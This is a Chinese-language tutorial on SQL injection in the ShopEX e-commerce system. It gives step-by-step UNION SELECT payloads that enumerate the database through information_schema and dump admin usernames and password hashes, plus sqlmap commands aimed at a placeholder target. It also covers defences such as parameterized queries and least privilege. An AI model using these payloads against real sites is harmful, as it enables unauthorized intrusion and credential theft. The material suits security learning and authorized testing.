本文内容仅供安全研究、学习和授权测试使用,任何未经授权的入侵、攻击或破坏他人网站的行为都是非法的,并可能导致严重的法律后果,请务必在自己的测试环境或获得明确书面授权的环境下进行操作,技术应用于善途,请遵守法律法规和道德规范。

shopex注入教程
(图片来源网络,侵删)

什么是 SQL 注入?

SQL 注入(SQL Injection,简称 SQLi)是一种常见的代码注入技术,攻击者通过在应用程序的输入字段(如搜索框、登录框、URL 参数等)中插入恶意的 SQL 代码片段,从而欺骗服务器执行非预期的 SQL 命令,如果应用程序未对用户输入进行严格的过滤和验证,这些恶意代码就会被当作正常的 SQL 查询语句执行,导致数据泄露、数据篡改、服务器失陷等严重后果。


ShopEX 系统的注入点分析

ShopEX 是一个老牌的 B2C/B2B 电子商务系统,其代码结构相对复杂,历史上,它存在过多个版本的 SQL 注入漏洞,这些漏洞通常出现在处理用户请求的 PHP 脚本中,特别是那些直接将用户输入拼接到 SQL 查询语句中的地方。

常见的注入点类型:

  1. URL 参数注入:最常见的类型,URL 中的 id, cat_id, page, keyword 等参数可能存在注入。

    • /index.php?cat_id=[注入点]
    • /search.php?keyword=[注入点]
  2. 表单 POST 数据注入:在登录、搜索、评论等表单提交的数据中可能存在。

    shopex注入教程
    (图片来源网络,侵删)
    • 用户名或密码字段。
    • 搜索框的输入内容。
  3. Cookie 注入:某些程序会从 Cookie 中读取数据用于查询,如果处理不当也可能产生注入。

漏洞产生的根本原因:

在 PHP 代码中,如果开发者直接使用 $_GET, $_POST, $_REQUEST 等超全局变量来构建 SQL 查询,而没有进行任何过滤或使用参数化查询,就会产生注入风险。

有问题的代码示例 (伪代码):

// 获取用户输入的 ID
$id = $_GET['id'];
// 直接将用户输入拼接到 SQL 语句中 (危险!)
$sql = "SELECT * FROM sdb_goods WHERE goods_id = $id";
$result = $db->query($sql);

攻击者只需要构造 .../goods.php?id=1 OR 1=1,SQL 语句就变成了 SELECT * FROM sdb_goods WHERE goods_id = 1 OR 1=1,由于 1=1 永远为真,就会导致整个商品表的数据被查询出来。

shopex注入教程
(图片来源网络,侵删)

注入利用教程(以 URL 参数为例)

我们将以一个典型的 URL 参数注入为例,讲解如何进行手动探测和利用,假设目标是一个 ShopEX 网站,我们怀疑其商品分类页面存在注入。

第一步:寻找并确认注入点

  1. 寻找目标:浏览网站,找到一个可能传递 ID 参数的页面,比如商品分类页、商品详情页等,观察 URL,http://www.target.com/index.php?cat_id=10

  2. 注入测试:在 URL 的参数后面加上一个单引号 ,观察页面变化。

    • 原始 URL: ...?cat_id=10
    • 测试 URL: ...?cat_id=10'
  3. 分析结果

    • 页面报错,并显示出 SQL 语句或数据库错误信息。

      • 这是最直接的情况,说明网站开启了错误显示,并且存在注入点,你可能会看到类似 You have an error in your SQL syntax; ... near '10'' at line 1 的错误。
      • 存在 SQL 注入,且为显错型注入。
    • 和原始页面完全不同,或者显示“无法找到该分类”等错误。

      • 这说明单引号干扰了正常的 SQL 查询,很可能存在注入点,但没有直接显示错误。
      • 可能存在注入,需要进一步测试。
    • 页面和原始页面一模一样。

      • 这说明该点可能不存在注入,或者网站对单引号等特殊字符进行了过滤。
      • 此点可能无效,需要换一个点测试或尝试绕过过滤。

第二步:判断注入类型(显错/盲注)

如果第一步没有直接报错,我们需要进一步判断是哪种类型的注入。

  1. 判断是否为显错型注入

    • 尝试使用 and 1=1and 1=2 进行测试。
    • ...?cat_id=10 and 1=1 -> 页面应该和原始页面正常显示。
    • ...?cat_id=10 and 1=2 -> 页面应该会显示错误或与原始页面不同。
    • 1=1 正常,1=2 异常,则说明是显错型注入,这是最简单的一种。
  2. 判断是否为盲注

    • and 1=2 的页面和 and 1=1 的页面看起来一样,没有报错,那么很可能是盲注
    • 盲注又分为布尔盲注时间盲注
      • 布尔盲注会根据查询条件的真假(真/假)而表现出不同。
      • 时间盲注没有变化,但可以通过 sleep() 函数让服务器执行时间长短来判断条件的真假。

第三步:利用注入(以显错型为例)

假设我们确认了 ...?cat_id=10 是一个显错型注入点。

  1. 获取数据库名称

    • 目标:猜出当前连接的数据库名是什么。
    • 使用 union select 联合查询,并利用报错信息回显数据。
    • Payload:
      and 1=2 union select 1,2,concat(version(),database(),user()),4 --+
    • URL: ...?cat_id=10 and 1=2 union select 1,2,concat(version(),database(),user()),4 --+
    • 解释
      • and 1=2:让前面的查询结果为空,以便我们控制 union select 的输出。
      • union select:联合查询。
      • 1,2,3,4union select 的列数必须与前面的查询结果(sdb_goods 表的列数)一致,这里我们用 1,2,3,4 来尝试,如果报错说明列数不对,需要调整。
      • concat(version(),database(),user()):将数据库版本、数据库名、当前用户连接成一个字符串。
      • 注释符,用于忽略 SQL 语句后面的代码。
    • 结果:如果成功,页面报错信息中会显示出类似 7.28-35-logShopEx5.7root@localhost 的信息。
  2. 获取数据库表名

    • 目标:获取指定数据库中的所有表名(通常是 sdb_ 开头的表)。
    • 使用 information_schema.tables 这个系统表。
    • Payload:
      and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='[数据库名]' --+
    • URL: 将 [数据库名] 替换上一步得到的数据库名。
    • 结果:报错信息中会列出所有表名,如 sdb_adminvchars, sdb_goods, sdb_members 等。
  3. 获取字段名

    • 目标:获取目标表中的所有字段名,我们想获取管理员表 sdb_admins 的字段。
    • 使用 information_schema.columns 这个系统表。
    • Payload:
      and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='sdb_admins' --+
    • 结果:报错信息中会列出 sdb_admins 表的所有字段,如 adm_id, adm_name, adm_password, adm_email 等。
  4. 获取数据(脱裤)

    • 目标:获取管理员用户名和密码。
    • Payload:
      and 1=2 union select 1,2,concat(adm_name,':',adm_password),4 from sdb_admins --+
    • 结果:报错信息中会直接显示出管理员的用户名和密码(通常是经过加密的,如 MD5)。

防御措施

对于网站管理员来说,防止 SQL 注入至关重要。

  1. 使用参数化查询(预处理语句)

    • 这是最有效、最根本的防御方法,它将 SQL 语句和数据分开处理,用户输入的数据不会被当作 SQL 代码执行。

    • PHP PDO 示例:

      // 错误的方式
      // $sql = "SELECT * FROM users WHERE name = '$name'";
      // $stmt = $pdo->query($sql);
      // 正确的方式 (参数化查询)
      $sql = "SELECT * FROM users WHERE name = :name";
      $stmt = $pdo->prepare($sql);
      $stmt->bindParam(':name', $name);
      $stmt->execute();
      $result = $stmt->fetchAll();
  2. 严格的输入过滤和验证

    • 对所有用户输入(GET, POST, Cookie)进行严格的过滤。
    • 白名单验证:只允许符合特定格式的字符通过,如果 ID 只能是数字,那么就应该用 is_numeric() 函数检查。
    • 黑名单过滤:过滤掉危险的 SQL 关键字(如 union, select, insert, delete, script 等),但黑名单很容易被绕过,不如白名单可靠。
  3. 最小权限原则

    • 为数据库用户设置尽可能小的权限,如果应用只需要查询数据,就不要给它 INSERT, UPDATE, DELETE 权限,更不要给 DROP 权限,这样即使发生注入,攻击者能造成的破坏也有限。
  4. 关闭错误显示

    • 在生产环境中,确保 PHP 的 display_errors 选项设置为 Off,避免将详细的错误信息泄露给攻击者。
  5. 使用 Web 应用防火墙

    WAF 可以检测并拦截常见的 SQL 注入攻击模式,提供一道额外的安全屏障。


自动化工具

手动注入虽然有助于理解原理,但在实际测试中效率较低,可以使用自动化工具进行初步扫描,如:

  • SQLMap:一款非常强大的开源 SQL 注入工具和渗透测试工具,它能够自动发现和利用 SQL 注入漏洞。

    • 基本用法

      # 扫描 URL
      sqlmap -u "http://www.target.com/index.php?cat_id=10"
      # 指定 POST 数据
      sqlmap -u "http://www.target.com/login.php" --data="user=admin&pass=123"
      # 指定数据库类型
      sqlmap -u "http://www.target.com/index.php?cat_id=10" -dbs
    • 注意:使用自动化工具需要非常小心,可能会对目标服务器造成压力或留下痕迹。

ShopEX 的 SQL 注入漏洞分析是一个典型的 Web 安全学习案例,其核心在于理解“用户输入未经过滤直接拼接到 SQL 语句中”这一根本缺陷,无论是手动利用还是自动化工具,其原理都是基于此。

再次强调,请将此知识用于合法的安全研究和授权测试,共同维护一个更安全的网络环境。